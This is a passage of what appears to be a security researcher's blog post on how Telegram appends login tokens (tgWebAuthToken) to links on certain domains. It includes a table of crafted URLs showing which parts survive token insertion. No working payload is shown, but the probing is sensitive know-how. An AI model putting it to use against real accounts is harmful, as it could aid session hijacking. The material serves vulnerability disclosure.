0 17px&#34; fill=&#34;none&#34; stroke=&#34;#E0E0E0&#34; stroke-linejoin=&#34;round&#34;&gt;&lt;polygon points=&#34;9.5 8 6.5 5 6.5 11&#34;/&gt;&lt;/svg&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; fill=&#34;#293644&#34; stroke=&#34;#54A6F9&#34;&gt;&lt;polygon class=&#34;st0&#34; points=&#34;10.4 1.5 14.5 5.6 14.5 9.6 5.6 15 1.5 11.4 1.5 6.4&#34;/&gt;&lt;polyline fill=&#34;none&#34; points=&#34;1.8 6.7 5.4 10.4 5.4 14.6 5.4 10.4 14.5 5.6&#34;/&gt;&lt;/svg&gt;[0]&lt;/td&gt;&#xD;&#xA;&#x9;&lt;td&gt;web.telegram.org&lt;/td&gt;&#xD;&#xA;&#x9;&lt;td&gt;QString&lt;/td&gt;&#xD;&#xA;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&#xD;&#xA;&#x9;&lt;td&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; style=&#34;padding:0 0 0 17px&#34; fill=&#34;none&#34; stroke=&#34;#E0E0E0&#34; stroke-linejoin=&#34;round&#34;&gt;&lt;polygon points=&#34;9.5 8 6.5 5 6.5 11&#34;/&gt;&lt;/svg&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; fill=&#34;#293644&#34; stroke=&#34;#54A6F9&#34;&gt;&lt;polygon class=&#34;st0&#34; points=&#34;10.4 1.5 14.5 5.6 14.5 9.6 5.6 15 1.5 11.4 1.5 6.4&#34;/&gt;&lt;polyline fill=&#34;none&#34; points=&#34;1.8 6.7 5.4 10.4 5.4 14.6 5.4 10.4 14.5 5.6&#34;/&gt;&lt;/svg&gt;[1]&lt;/td&gt;&#xD;&#xA;&#x9;&lt;td&gt;web.t.me&lt;/td&gt;&#xD;&#xA;&#x9;&lt;td&gt;QString&lt;/td&gt;&#xD;&#xA;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&#xD;&#xA;&#x9;&lt;td&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; style=&#34;padding:0 0 0 17px&#34; fill=&#34;none&#34; stroke=&#34;#E0E0E0&#34; stroke-linejoin=&#34;round&#34;&gt;&lt;polygon points=&#34;9.5 8 6.5 5 6.5 11&#34;/&gt;&lt;/svg&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; fill=&#34;#293644&#34; stroke=&#34;#54A6F9&#34;&gt;&lt;polygon class=&#34;st0&#34; points=&#34;10.4 1.5 14.5 5.6 14.5 9.6 5.6 15 1.5 11.4 1.5 6.4&#34;/&gt;&lt;polyline fill=&#34;none&#34; points=&#34;1.8 6.7 5.4 10.4 5.4 14.6 5.4 10.4 14.5 5.6&#34;/&gt;&lt;/svg&gt;[2]&lt;/td&gt;&#xD;&#xA;&#x9;&lt;td&gt;k.t.me&lt;/td&gt;&#xD;&#xA;&#x9;&lt;td&gt;QString&lt;/td&gt;&#xD;&#xA;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&#xD;&#xA;&#x9;&lt;td&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; style=&#34;padding:0 0 0 17px&#34; fill=&#34;none&#34; stroke=&#34;#E0E0E0&#34; stroke-linejoin=&#34;round&#34;&gt;&lt;polygon points=&#34;9.5 8 6.5 5 6.5 11&#34;/&gt;&lt;/svg&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; fill=&#34;#293644&#34; stroke=&#34;#54A6F9&#34;&gt;&lt;polygon class=&#34;st0&#34; points=&#34;10.4 1.5 14.5 5.6 14.5 9.6 5.6 15 1.5 11.4 1.5 6.4&#34;/&gt;&lt;polyline fill=&#34;none&#34; points=&#34;1.8 6.7 5.4 10.4 5.4 14.6 5.4 10.4 14.5 5.6&#34;/&gt;&lt;/svg&gt;[3]&lt;/td&gt;&#xD;&#xA;&#x9;&lt;td&gt;z.t.me&lt;/td&gt;&#xD;&#xA;&#x9;&lt;td&gt;QString&lt;/td&gt;&#xD;&#xA;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&#xD;&#xA;&#x9;&lt;td&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; style=&#34;padding:0 0 0 17px&#34; fill=&#34;none&#34; stroke=&#34;#E0E0E0&#34; stroke-linejoin=&#34;round&#34;&gt;&lt;polygon points=&#34;9.5 8 6.5 5 6.5 11&#34;/&gt;&lt;/svg&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; fill=&#34;#293644&#34; stroke=&#34;#54A6F9&#34;&gt;&lt;polygon class=&#34;st0&#34; points=&#34;10.4 1.5 14.5 5.6 14.5 9.6 5.6 15 1.5 11.4 1.5 6.4&#34;/&gt;&lt;polyline fill=&#34;none&#34; points=&#34;1.8 6.7 5.4 10.4 5.4 14.6 5.4 10.4 14.5 5.6&#34;/&gt;&lt;/svg&gt;[4]&lt;/td&gt;&#xD;&#xA;&#x9;&lt;td&gt;a.t.me&lt;/td&gt;&#xD;&#xA;&#x9;&lt;td&gt;QString&lt;/td&gt;&#xD;&#xA;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&#xD;&#xA;&#x9;&lt;td&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; style=&#34;padding:0 0 0 17px&#34; fill=&#34;none&#34; stroke=&#34;#E0E0E0&#34; stroke-linejoin=&#34;round&#34;&gt;&lt;polygon points=&#34;9.5 8 6.5 5 6.5 11&#34;/&gt;&lt;/svg&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; fill=&#34;#293644&#34; stroke=&#34;#54A6F9&#34;&gt;&lt;polygon class=&#34;st0&#34; points=&#34;10.4 1.5 14.5 5.6 14.5 9.6 5.6 15 1.5 11.4 1.5 6.4&#34;/&gt;&lt;polyline fill=&#34;none&#34; points=&#34;1.8 6.7 5.4 10.4 5.4 14.6 5.4 10.4 14.5 5.6&#34;/&gt;&lt;/svg&gt;[Raw View]&lt;/td&gt;&#xD;&#xA;&#x9;&lt;td&gt;{_Mypair=allocator }&lt;/td&gt;&#xD;&#xA;&#x9;&lt;td&gt;std::vector&amp;lt;QString,std::allocator&amp;lt;QString&amp;gt;&amp;gt;&lt;/td&gt;&#xD;&#xA;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&#xD;&#xA;&#x9;&lt;td&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; style=&#34;padding:0&#34; fill=&#34;none&#34; stroke=&#34;#E0E0E0&#34; stroke-linejoin=&#34;round&#34;&gt;&lt;polygon points=&#34;9.5 8 6.5 5 6.5 11&#34;/&gt;&lt;/svg&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; fill=&#34;#293644&#34; stroke=&#34;#54A6F9&#34;&gt;&lt;polygon class=&#34;st0&#34; points=&#34;10.4 1.5 14.5 5.6 14.5 9.6 5.6 15 1.5 11.4 1.5 6.4&#34;/&gt;&lt;polyline fill=&#34;none&#34; points=&#34;1.8 6.7 5.4 10.4 5.4 14.6 5.4 10.4 14.5 5.6&#34;/&gt;&lt;/svg&gt;good&lt;/td&gt;&#xD;&#xA;&#x9;&lt;td&gt;???&lt;/td&gt;&#xD;&#xA;&#x9;&lt;td&gt;QString&lt;/td&gt;&#xD;&#xA;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&#xD;&#xA;&#x9;&lt;td&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; style=&#34;padding:0&#34; fill=&#34;none&#34; stroke=&#34;#E0E0E0&#34; stroke-linejoin=&#34;round&#34;&gt;&lt;polygon points=&#34;9.5 8 6.5 5 6.5 11&#34;/&gt;&lt;/svg&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; fill=&#34;none&#34; stroke=&#34;#55AAFF&#34;&gt;&lt;rect fill=&#34;#323232&#34; stroke=&#34;#E0E0E0&#34; x=&#34;2.5&#34; y=&#34;3.5&#34; width=&#34;10&#34; height=&#34;10&#34;/&gt;&lt;line x1=&#34;10&#34; x2=&#34;5&#34; y1=&#34;7.5&#34; y2=&#34;7.5&#34;/&gt;&lt;line x1=&#34;10&#34; x2=&#34;5&#34; y1=&#34;9.5&#34; y2=&#34;9.5&#34;/&gt;&lt;/svg&gt;url&lt;/td&gt;&#xD;&#xA;&#x9;&lt;td&gt;https://web.telegram.org&lt;/td&gt;&#xD;&#xA;&#x9;&lt;td&gt;const QString &amp;amp;&lt;/td&gt;&#xD;&#xA;&lt;/tr&gt;&#xD;&#xA;&#x9;&#x9;&lt;/tbody&gt;&#xD;&#xA;&#x9;&lt;/table&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;So that&amp;rsquo;s why I couldn&amp;rsquo;t find the keywords earlier! The list of domains this trick works with is sent to you by the Telegram server and stored in the config under the &lt;code&gt;url_auth_domains&lt;/code&gt;&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt; key. You can see the list of domains currently provided in the locals above.&lt;/p&gt;&#xA;&lt;p&gt;Once you click on a link with a matching domain, your client will send it to Telegram&amp;rsquo;s servers and if everything looks alright you&amp;rsquo;ll get back a cute little temporary URL with the tokens and everything appended. For those playing along at home, we send a &lt;code&gt;messages_requestUrlAuth&lt;/code&gt; with just the &lt;code&gt;url&lt;/code&gt; set&lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;, and hope to get back a &lt;code&gt;urlAuthResultAccepted&lt;/code&gt; with the new &lt;code&gt;url&lt;/code&gt; inside.&lt;/p&gt;&#xA;&lt;p&gt;Having figured out how the thing works, and armed with a list of domains, I began looking for a way to break it. It seems like the entire initial URL gets preserved, including the path, query parameters, and the hash fragment, with the exception of the scheme being forced to https.&lt;/p&gt;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;http://web.​telegram.org/&lt;/code&gt; becomes &lt;code&gt;https://web.​telegram.org/​#tgWebAuthToken=...&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;https://z.t.me/​pony&lt;/code&gt; becomes &lt;code&gt;https://z.t.me/pony​?tgWebAuth=1​#tgWebAuthToken=...&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;https://k.t.me/​#po=ny&lt;/code&gt; becomes &lt;code&gt;https://k.t.me/​?tgWebAuth=1​#po=ny​&amp;amp;tgWebAuthToken=...&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;details&gt;&lt;summary&gt;(a lot) more examples&lt;/summary&gt;&#xD;&#xA;&lt;table class=&#34;detailedUrlMapTable&#34;&gt;&#xD;&#xA;  &lt;thead&gt;&#xD;&#xA;    &lt;tr&gt;&#xD;&#xA;      &lt;th&gt;Original URL&lt;/th&gt;&#xD;&#xA;      &lt;th&gt;URL with token&lt;/th&gt;&#xD;&#xA;    &lt;/tr&gt;&#xD;&#xA;  &lt;/thead&gt;&#xD;&#xA;  &lt;tbody&gt;&#xD;&#xA;&lt;tr&gt;&lt;td&gt;https://z.t.me/&lt;/td&gt;&lt;td&gt;https://z.t.me/?tgWebAuth=1#tgWebAuthToken=...&amp;amp;tgWebAuthUserId=420493337&amp;amp;tgWebAuthDcId=4&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&lt;td&gt;https://z.t.me/pony&lt;/td&gt;&lt;td&gt;https://z.t.me/pony?tgWebAuth=1#tgWebAuthToken=...&amp;amp;tgWebAuthUserId=420493337&amp;amp;tgWebAuthDcId=4&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&lt;td&gt;https://z.t.me/#pony&lt;/td&gt;&lt;td&gt;https://z.t.me/?tgWebAuth=1#pony?tgWebAuthToken=...&amp;amp;tgWebAuthUserId=420493337&amp;amp;tgWebAuthDcId=4&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&lt;td&gt;https://z.t.me/#bon=bon&lt;/td&gt;&lt;td&gt;https://z.t.me/?tgWebAuth=1#bon=bon&amp;amp;tgWebAuthToken=...&amp;amp;tgWebAuthUserId=420493337&amp;amp;tgWebAuthDcId=4&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&lt;td&gt;https://z.t.me/#?bon&lt;/td&gt;&lt;td&gt;https://z.t.me/?tgWebAuth=1#?bon&amp;amp;tgWebAuthToken=...&amp;amp;tgWebAuthUserId=420493337&amp;amp;tgWebAuthDcId=4&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&lt;td&gt;https://z.t.me/?#bon&lt;/td&gt;&lt;td&gt;https://z.t.me/?tgWebAuth=1#bon?tgWebAuthToken=...&amp;amp;tgWebAuthUserId=420493337&amp;amp;tgWebAuthDcId=4&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&lt;td&gt;https://z.t.me/?bon=bon&lt;/td&gt;&lt;td&gt;https://z.t.me/?bon=bon&amp;amp;tgWebAuth=1#tgWebAuthToken=...&amp;amp;tgWebAuthUserId=420493337&amp;amp;tgWebAuthDcId=4&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&lt;td&gt;https://z.t.me/?bon=bon#bon&lt;/td&gt;&lt;td&gt;https://z.t.me/?bon=bon&amp;amp;tgWebAuth=1#bon?tgWebAuthToken=...&amp;amp;tgWebAuthUserId=420493337&amp;amp;tgWebAuthDcId=4&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&lt;td&gt;https://z.t.me/#=&lt;/td&gt;&lt;td&gt;https://z.t.me/?tgWebAuth=1#=&amp;amp;tgWebAuthToken=...&amp;amp;tgWebAuthUserId=420493337&amp;amp;tgWebAuthDcId=4&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&lt;td&gt;https://z.t.me/?tgWebAuth=🐴&lt;/td&gt;&lt;td&gt;https://z.t.me/?tgWebAuth=1#tgWebAuthToken=...&amp;amp;tgWebAuthUserId=420493337&amp;amp;tgWebAuthDcId=4&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&lt;td&gt;https://z.t.me/#tgWebAuthToken=trixie&amp;amp;tgWebAuthUserId=starlight&amp;amp;tgWebAuthDcId=sunset&lt;/td&gt;&lt;td&gt;https://z.t.me/?tgWebAuth=1#tgWebAuthToken=trixie&amp;amp;tgWebAuthUserId=starlight&amp;amp;tgWebAuthDcId=sunset&amp;amp;tgWebAuthToken=...&amp;amp;tgWebAuthUserId=420493337&amp;amp;tgWebAuthDcId=4&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&lt;td&gt;https://z.t.me/?tgWebAuth=🐴#tgWebAuthToken=trixie&amp;amp;tgWebAuthUserId=starlight&amp;amp;tgWebAuthDcId=sunset&lt;/td&gt;&lt;td&gt;https://z.t.me/?tgWebAuth=1#tgWebAuthToken=trixie&amp;amp;tgWebAuthUserId=starlight&amp;amp;tgWebAuthDcId=sunset&amp;amp;tgWebAuthToken=...&amp;amp;tgWebAuthUserId=420493337&amp;amp;tgWebAuthDcId=4&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&lt;td&gt;https://k.t.me/pony&lt;/td&gt;&lt;td&gt;https://k.t.me/pony?tgWebAuth=1#tgWebAuthToken=...&amp;amp;tgWebAuthUserId=420493337&amp;amp;tgWebAuthDcId=4&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&lt;td&gt;https://k.t.me/#pony&lt;/td&gt;&lt;td&gt;https://k.t.me/?tgWebAuth=1#pony?tgWebAuthToken=...&amp;amp;tgWebAuthUserId=420493337&amp;amp;tgWebAuthDcId=4&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&lt;td&gt;https://k.t.me/#bon=bon&lt;/td&gt;&lt;td&gt;https://k.t.me/?tgWebAuth=1#bon=bon&amp;amp;tgWebAuthToken=...&amp;amp;tgWebAuthUserId=420493337&amp;amp;tgWebAuthDcId=4&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&lt;td&gt;https://k.t.me/#?bon&lt;/td&gt;&lt;td&gt;https://k.t.me/?tgWebAuth=1#?bon&amp;amp;tgWebAuthToken=...&amp;amp;tgWebAuthUserId=420493337&amp;amp;tgWebAuthDcId=4&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&lt;td&gt;https://k.t.me/?#bon&lt;/td&gt;&lt;td&gt;https://k.t.me/?tgWebAuth=1#bon?tgWebAuthToken=...&amp;amp;tgWebAuthUserId=420493337&amp;amp;tgWebAuthDcId=4&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&lt;td&gt;https://k.t.me/?bon=bon&lt;/td&gt;&lt;td&gt;https://k.t.me/?bon=bon&amp;amp;tgWebAuth=1#tgWebAuthToken=...&amp;amp;tgWebAuthUserId=420493337&amp;amp;tgWebAuthDcId=4&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&lt;td&gt;https://k.t.me/?bon=bon#bon&lt;/td&gt;&lt;td&gt;https://k.t.me/?bon=bon&amp;amp;tgWebAuth=1#bon?tgWebAuthToken=...&amp;amp;tgWebAuthUserId=420493337&amp;amp;tgWebAuthDcId=4&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&lt;td&gt;https://k.t.me/#=&lt;/td&gt;&lt;td&gt;https://k.t.me/?tgWebAuth=1#=&amp;amp;tgWebAuthToken=...&amp;amp;tgWebAuthUserId=420493337&amp;amp;tgWebAuthDcId=4&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&lt;td&gt;https://k.t.me/?tgWebAuth=🐴&lt;/td&gt;&lt;td&gt;https://k.t.me/?tgWebAuth=1#tgWebAuthToken=...&amp;amp;tgWebAuthUserId=420493337&amp;amp;tgWebAuthDcId=4&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&lt;td&gt;https://k.t.me/#tgWebAuthToken=trixie&amp;amp;tgWebAuthUserId=starlight&amp;amp;tgWebAuthDcId=sunset&lt;/td&gt;&lt;td&gt;https://k.t.me/?tgWebAuth=1#tgWebAuthToken=trixie&amp;amp;tgWebAuthUserId=starlight&amp;amp;tgWebAuthDcId=sunset&amp;amp;tgWebAuthToken=...&amp;amp;tgWebAuthUserId=420493337&amp;amp;tgWebAuthDcId=4&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&lt;td&gt;https://k.t.me/?tgWebAuth=🐴#tgWebAuthToken=trixie&amp;amp;tgWebAuthUserId=starlight&amp;amp;tgWebAuthDcId=sunset&lt;/td&gt;&lt;td&gt;https://k.t.me/?tgWebAuth=1#tgWebAuthToken=trixie&amp;amp;tgWebAuthUserId=starlight&amp;amp;tgWebAuthDcId=sunset&amp;amp;tgWebAuthToken=...&amp;amp;tgWebAuthUserId=420493337&amp;amp;tgWebAuthDcId=4&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&lt;td&gt;https://web.telegram.org/pony&lt;/td&gt;&lt;td&gt;https://web.telegram.org/pony#tgWebAuthToken=...&amp;amp;tgWebAuthUserId=420493337&amp;amp;tgWebAuthDcId=4&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&lt;td&gt;https://web.telegram.org/#pony&lt;/td&gt;&lt;td&gt;https://web.telegram.org/#pony?tgWebAuthToken=...&amp;amp;tgWebAuthUserId=420493337&amp;amp;tgWebAuthDcId=4&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&lt;td&gt;https://web.telegram.org/#bon=bon&lt;/td&gt;&lt;td&gt;https://web.telegram.org/#bon=bon&amp;amp;tgWebAuthToken=...&amp;amp;tgWebAuthUserId=420493337&amp;amp;tgWebAuthDcId=4&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&lt;td&gt;https://web.telegram.org/#?bon&lt;/td&gt;&lt;td&gt;https://web.telegram.org/#?bon&amp;amp;tgWebAuthToken=...&amp;amp;tgWebAuthUserId=420493337&amp;amp;tgWebAuthDcId=4&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&lt;td&gt;https://web.telegram.org/?#bon&lt;/td&gt;&lt;td&gt;https://web.telegram.org/?#bon?tgWebAuthToken=...&amp;amp;tgWebAuthUserId=420493337&amp;amp;tgWebAuthDcId=4&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&lt;td&gt;https://web.telegram.org/?bon=bon&lt;/td&gt;&lt;td&gt;https://web.telegram.org/?bon=bon#tgWebAuthToken=...&amp;amp;tgWebAuthUserId=420493337&amp;amp;tgWebAuthDcId=4&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&lt;td&gt;https://web.telegram.org/?bon=bon#bon&lt;/td&gt;&lt;td&gt;https://web.telegram.org/?bon=bon#bon?tgWebAuthToken=...&amp;amp;tgWebAuthUserId=420493337&amp;amp;tgWebAuthDcId=4&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&lt;td&gt;https://web.telegram.org/#=&lt;/td&gt;&lt;td&gt;https://web.telegram.org/#=&amp;amp;tgWebAuthToken=...&amp;amp;tgWebAuthUserId=420493337&amp;amp;tgWebAuthDcId=4&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&lt;td&gt;https://web.telegram.org/?tgWebAuth=🐴&lt;/td&gt;&lt;td&gt;https://web.telegram.org/?tgWebAuth=🐴#tgWebAuthToken=...&amp;amp;tgWebAuthUserId=420493337&amp;amp;tgWebAuthDcId=4&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&lt;td&gt;https://web.telegram.org/#tgWebAuthToken=trixie&amp;amp;tgWebAuthUserId=starlight&amp;amp;tgWebAuthDcId=sunset&lt;/td&gt;&lt;td&gt;https://web.telegram.org/#tgWebAuthToken=trixie&amp;amp;tgWebAuthUserId=starlight&amp;amp;tgWebAuthDcId=sunset&amp;amp;tgWebAuthToken=...&amp;amp;tgWebAuthUserId=420493337&amp;amp;tgWebAuthDcId=4&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&lt;td&gt;https://web.telegram.org/?tgWebAuth=🐴#tgWebAuthToken=trixie&amp;amp;tgWebAuthUserId=starlight&amp;amp;tgWebAuthDcId=sunset&lt;/td&gt;&lt;td&gt;https://web.telegram.org/?tgWebAuth=🐴#tgWebAuthToken=trixie&amp;amp;tgWebAuthUserId=starlight&amp;amp;tgWebAuthDcId=sunset&amp;amp;tgWebAuthToken=...&amp;amp;tgWebAuthUserId=420493337&amp;amp;tgWebAuthDcId=4&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;  &lt;/tbody&gt;&#xD;&#xA;&lt;/table&gt;&#xD;&#xA;&lt;/details&gt;&#xD;&#xA;&lt;p&gt;All of the domains apart from the web.telegram.org one are sort-of built for the &lt;a href=&#34;https://core.telegram.org/api/links&#34;&gt;t.me deep links&lt;/a&gt;. Going on any of them without a path will just bring you to the telegram.org homepage. Going on one with a compatible path, such as &lt;a href=&#34;https://z.t.me/share?url=lyra.horse&#34;&gt;z.t.me/share?url=lyra.horse&lt;/a&gt;, will open up the respective client with a hash fragment, eg:&lt;br&gt;&#xA;&lt;a href=&#34;https://web.telegram.org/a/#?tgaddr=tg%3A%2F%2Fmsg_url%3Furl%3Dlyra.horse&#34;&gt;https://web.telegram.org/a/#?​tgaddr=​tg%3A%2F%2Fmsg_url%3F​url%3Dlyra.horse&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is usually performed with a HTTP 301 redirect, but if the &lt;code&gt;tgWebAuth&lt;/code&gt; parameter is set and the deep link is valid, you&amp;rsquo;ll get to run this fun javascript instead:&lt;/p&gt;&#xA;&lt;style&gt;&#xD;&#xA;&#x9;.vs-main {&#xD;&#xA;    &#x9;width: 100%;&#xD;&#xA;    &#x9;word-break: normal;&#xD;&#xA;    &#x9;overflow-wrap: anywhere;&#xD;&#xA;    &#x9;white-space: pre-wrap;&#xD;&#xA;    &#x9;color: white;&#xD;&#xA;    &#x9;font-family: monospace;&#xD;&#xA;    &#x9;border-spacing: 0px;&#xD;&#xA;    &#x9;background: #000;&#xD;&#xA;    &#x9;border-top: 1px solid #444746;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.vs-ln::before {&#xD;&#xA;    &#x9;content: attr(value);&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.vs-ln {&#xD;&#xA;&#x9;&#x9;box-sizing: border-box;&#xD;&#xA;    &#x9;width: 31px;&#xD;&#xA;    &#x9;background-color: rgb(60, 60, 60);&#xD;&#xA;    &#x9;user-select: none;&#xD;&#xA;    &#x9;text-align: right;&#xD;&#xA;    &#x9;color: rgb(128, 128, 128);&#xD;&#xA;    &#x9;font-size: 12px;&#xD;&#xA;    &#x9;padding: 0px 4px;&#xD;&#xA;    &#x9;border-right: 1px solid rgb(187, 187, 187);&#xD;&#xA;    &#x9;vertical-align: baseline;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.vs-lc {&#xD;&#xA;&#x9;&#x9;padding: 0px 5px;&#xD;&#xA;&#x9;&#x9;vertical-align: baseline;&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.vs-tg {&#xD;&#xA;&#x9;&#x9;color: rgb(93, 176, 215);&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.vs-at {&#xD;&#xA;&#x9;&#x9;color: rgb(155, 187, 220);&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.vs-av {&#xD;&#xA;&#x9;&#x9;color: rgb(242, 151, 102);&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.vs-cm {&#xD;&#xA;&#x9;&#x9;color: rgb(35, 110, 37);&#xD;&#xA;&#x9;}&#xD;&#xA;&#x9;.chromeWindow {&#xD;&#xA;&#x9;&#x9;background: #3C3C3C;&#xD;&#xA;&#x9;&#x9;height: fit-content;&#xD;&#xA;&#x9;&#x9;width: 100%;&#xD;&#xA;&#x9;&#x9;border-radius: 4px;&#xD;&#xA;&#x9;&#x9;overflow: clip;&#xD;&#xA;&#x9;}&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;div class=&#34;chromeWindow&#34; role=figure aria-label=&#34;Chrome window&#34;&gt;&lt;!-- At this point I got a bit lazy, so instead of recreating it from scratch I just kinda copied chromium&#39;s view-source CSS :p --&gt;&#xD;&#xA;&lt;div class=&#34;urlBar&#34;&gt;&lt;div class=&#34;urlBarInner&#34;&gt;&lt;div class=&#34;urlBarIcon&#34;&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M11.55 13.52a2.27 2.27 0 0 1 -1.68 -0.69a2.29 2.29 0 0 1 -0.69 -1.68c0 -0.66 0.23 -1.22 0.7 -1.68a2.3 2.3 0 0 1 1.68 -0.69c0.66 0 1.22 0.23 1.68 0.69c0.46 0.46 0.69 1.02 0.69 1.68a2.27 2.27 0 0 1 -0.69 1.68c-0.46 0.46 -1.02 0.69 -1.68 0.69Zm0 -1.45c0.25 0 0.47 -0.09 0.65 -0.27a0.88 0.88 0 0 0 0.27 -0.64a0.89 0.89 0 0 0 -0.27 -0.65a0.88 0.88 0 0 0 -0.65 -0.27a0.88 0.88 0 0 0 -0.65 0.27a0.88 0.88 0 0 0 -0.26 0.64c0 0.25 0.09 0.47 0.27 0.65c0.18 0.18 0.4 0.27 0.65 0.27Zm-9.47 -0.1v-1.63H7.98v1.63Zm2.37 -4.75a2.27 2.27 0 0 1 -1.67 -0.69a2.29 2.29 0 0 1 -0.69 -1.68c0 -0.66 0.23 -1.22 0.7 -1.68a2.3 2.3 0 0 1 1.68 -0.69c0.66 0 1.22 0.23 1.68 0.69c0.46 0.46 0.69 1.02 0.69 1.68c0 0.66 -0.23 1.22 -0.69 1.68c-0.46 0.46 -1.02 0.69 -1.68 0.69Zm0 -1.46a0.88 0.88 0 0 0 0.65 -0.27a0.88 0.88 0 0 0 0.27 -0.64a0.89 0.89 0 0 0 -0.26 -0.65a0.88 0.88 0 0 0 -0.65 -0.27a0.88 0.88 0 0 0 -0.65 0.27a0.88 0.88 0 0 0 -0.27 0.65c0 0.25 0.09 0.47 0.27 0.65c0.18 0.18 0.39 0.27 0.65 0.27Zm3.57 -0.1V4.03h5.9v1.63Zm0 0Z&#34;/&gt;&lt;/svg&gt;&lt;/div&gt;&lt;span class=&#34;urlBarText&#34;&gt;view-source:https://&lt;span style=&#34;color:#E3E3E3&#34;&gt;z.t.me&lt;/span&gt;/share?url=lyra.horse&amp;tgWebAuth=1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;&lt;table class=&#34;vs-main&#34;&gt;&lt;tbody role=code&gt;&lt;tr&gt;&lt;td class=&#34;vs-ln&#34; value=&#34;1&#34;&gt;&lt;/td&gt;&lt;td class=&#34;vs-lc&#34;&gt;&lt;span 